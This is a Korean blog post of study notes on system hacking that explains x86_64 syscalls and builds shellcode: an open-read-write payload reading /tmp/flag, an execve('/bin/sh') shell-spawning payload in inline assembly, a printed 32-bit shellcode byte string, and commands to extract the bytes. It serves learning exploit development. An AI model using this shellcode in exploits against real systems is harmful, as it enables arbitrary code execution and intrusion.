일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
31 |
- Flutter
- PCA
- system hacking
- MATLAB
- BAEKJOON
- rao
- 백준
- Kaggle
- DART
- llm을 활용 단어장 앱 개발일지
- FastAPI
- ML
- BOF
- pytorch
- Image Processing
- BFS
- fastapi를 사용한 파이썬 웹 개발
- bloc
- Algorithm
- Computer Architecture
- Stream
- 영상처리
- Dreamhack
- Got
- Widget
- C++
- 파이토치 트랜스포머를 활용한 자연어 처리와 컴퓨터비전 심층학습
- study book
- ARM
- MDP
- Today
- Total
Bull
[System Hacking] Shell Code 및 syscall 본문
Shell Code란?
셸코드(Shellcode)는 공격자가 취약한 소프트웨어를 이용해 임의의 코드를 실행하기 위해 사용하는 바이트 코드이다.
"셸"이라는 용어는 이 코드가 종종 공격자에게 시스템의 셸에 접근을 제공하기 때문에 붙여졌다.
즉, 공격자는 셸코드를 사용해 시스템에 명령을 내릴 수 있는 권한을 얻는다.
셸코드는 다음과 같이 나타낼 수 있다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
실행파일에서 호출할 수 있는 부분을 조작할 수 있다면 임의의 셸코드를 넣어서 공격할 수 있다.
셸코드를 직접 만들기 전 프로그램이 어떻게 돌아가는 지 알아 볼 것이다.
syscall
syscall은 "시스템 호출(System Call)"의 약어로, 사용자 모드의 프로그램이 운영 체제의 커널 모드 기능을 사용하고자 할 때 커널에 요청을 전달하는 메커니즘이다.
운영 체제는 이러한 시스템 호출을 통해 파일 시스템 조작, 네트워크 통신, 메모리 관리, 프로세스 생성 및 제어와 같은 핵심 기능을 제공한다.
사용자 모드에서 실행되는 프로그램이 시스템 자원을 요청하려면, 시스템 호출을 이용해 커널에 접근해야 한다.
예를 들어, 파일을 열고자 하는 프로그램은 open 시스템 호출을 사용한다.
컴퓨터 아키텍쳐에 따른 시스템 호출 방식이다.
나는 x86_64방식 운영체제로 공부하니 아래 것만 먼저 참고하는 게 헷갈리지 않을 것이다.
대표적인 orw syscall 방식이다.
추가적인 syscall 정보는 https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md
에서 확인할 수 있다.
int fd = open("/tmp/flag", RD_ONLY, NULL);
예를 들어 위와 같이 open()에 인자 3개가들어간다고 하자.
그러면 최종적으로 레지스터에 들어가야 할 값은 다음과 같다.
rax = 2
rdi = "/tmp/flag"
rsi = 0 (RD_ONLY)
rdx = 0
우선 이번 강의에서 핵심은 인자가 들어가는 레지스터 순서를 외우는 게 중요해 보인다.
rax | rdi | rsi | rdx
[rax] syscall방식
[rdi] 인자0
[rsi] 인자1
[rdx] 인자2
으로 외워 놓자
orw(open-read-write) shell code 작성해보기
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
다음은 /tmp/flag에 있는 텍스트를 읽고 출력해보는 코드이다.
우선 첫째로 fd(file descriptor)에 들어갈 open()을 구현해보자.
open() 구현
int fd = open("/tmp/flag", RD_ONLY, NULL);
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
순서도는 다음과 같다.
① rdi (0번째 인자)
67 61 6c 66 2f 70 6d 74 2f → /galf/pmt (리틀 엔디안)
스택에는 8바이트 단위로 들어갈 수 있으므로
push 0x67 이후 0x616c662f706d742f 로 rsp에 위치시킨다. ( rsp는 스택포인터로 스택을 가리킨다)
rsp는 다시 rdi로 옮긴다.
② rsi (1번째 인자)
xor 자기 자신은 0이 나온다.
mov rsi, 0을 안한 이유는 xor이 더 빠르기 때문이다.
③rdx (2번째 인자)
마찬가지로 0을 넣는다.
④rax (syscall 함수)
open = syscall 0x2이다.
rax | rdi | rsi | rdx |
2 | /tmp/flag | 0 | 0 |
참고로 여기서는 별개지만 문자열 끝에 null 이 있어야 하기 때문에 셸코드를 짤 때,
"/tmp/flag\x00" 이런식으로 마지막에 \x00도 추가해야된다는 것을 명심하자.
read 구현
read(fd, buf, 0x30);
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
rax | rdi | rsi | rdx |
0 | 3 | 0x30 | 0 |
여기서 rdi 보고 "엥?" 했었는데 인자가 들어가는 값을 확인해보면 다음과 같다.
즉, fd가 인자로 들어간다.
fd(File Descriptor)란?
파일 서술자(File Descriptor, fd)는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자이다.
파일 디스크립터는 몇 년 전 부터 알고는 있는데 제대로 파악하지 못했던 부분이었다.
하지만 이번에 배우면서 어떤 느낌인지 확실하게 알 수 있었다.
간단하게 0은 stdin, 1은 stdout, 2는 stderr임은 알고 있었다.
여기서 이 파일 서술자는 해당 번호에 해당 되는 프로세스를 터미널과 연결해서 파일에 대한 액션을 할 수 있었던 것이다.
이제 fd라는 변수에 open을 통해 파일에 대한 프로세스가 생성되었으므로, 기본으로 들어가는 0,1,2 다음인 3이 저장된다.
write 구현
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
rax | rdi | rsi | rdx |
1 | 1 | 0 | 0 |
어셈블리 언어 컴파일
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
C언어에서 __asm__();을 통해 인라인으로 스켈레톤 코드를 컴파일 할 수 있다.
excuve 셸코드 만들기
execve(“/bin/sh”, null, null)로 셸을 실행할 수 있는 코드를 만들 것이다.
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
rax | rdi | rsi | rdx |
0x3b | /bin/sh/\x00 | 0 | 0 |
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
컴파일
gcc -o shellcode shellcode.c -masm=intel
objdump 를 이용한 shellcode 추출
[shellcode.o 생성]
.asm으로 obj생성
sudo apt-get install nasm
nasm -f elf shellcode.asm
nasm 명령어로 .asm을 통해 object 파일을 만들 수 있다.
또는 .c로 obj생성
gcc -c shellcode shellcode.c -masm=intel
[셸 코드 직접 추출]
objdump -d shellcode.o
objdump를 사용하여 옵코드를 볼 수 있다.
여기서 맨처음 보았던
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
형식의 셸코드를 추출하면 된다. (위의 셸코드는 임의의 코드이므로 주의)
[셸코드 파일 만들기]
만약 직접추출이 어려운 경우,
objcopy --dump-section .text=shellcode.bin shellcode.o
위 명령어로 셸코드만 따로 추출이 가능하다.
with open('shellcode.bin','rb') as file:
payload = file.read()
그리고 파이썬에서 이렇게 변수명으로 담을 수 있다.
shellcode.bin파일을 보고 싶다면,
xxd shellcode.bin
위 명령어를 통해 덤핑해서 볼 수 있다.
명령어 정리
gcc -c shellcode shellcode.c -masm=intel | 실행파일 생성 |
gcc -o shellcode shellcode.c -masm=intel | 오브젝트 파일 생성(.c) |
nasm -f elf shellcode.asm | 오브젝트 파일 생성(.asm) |
objdump -d shellcode.o | 옵코드 읽기 (셸코드가 포함) |
objcopy --dump-section .text=shellcode.bin shellcode.o | .bin에 셸코드 저장 |
xxd shellcode.bin | .bin 덤프 읽기 |
참고자료
[DreamHack 강의]
'Computer Science > System Hacking' 카테고리의 다른 글
[System Hacking] PLT & GOT (0) | 2024.04.10 |
---|---|
[System Hacking] NX & ASLR (0) | 2024.04.09 |
[System Hacking] Stack Canary (0) | 2024.04.06 |
[System Hacking] Return Address Overwrite (0) | 2024.04.05 |
[pwntools] 함수 및 모듈 정리 (0) | 2023.09.27 |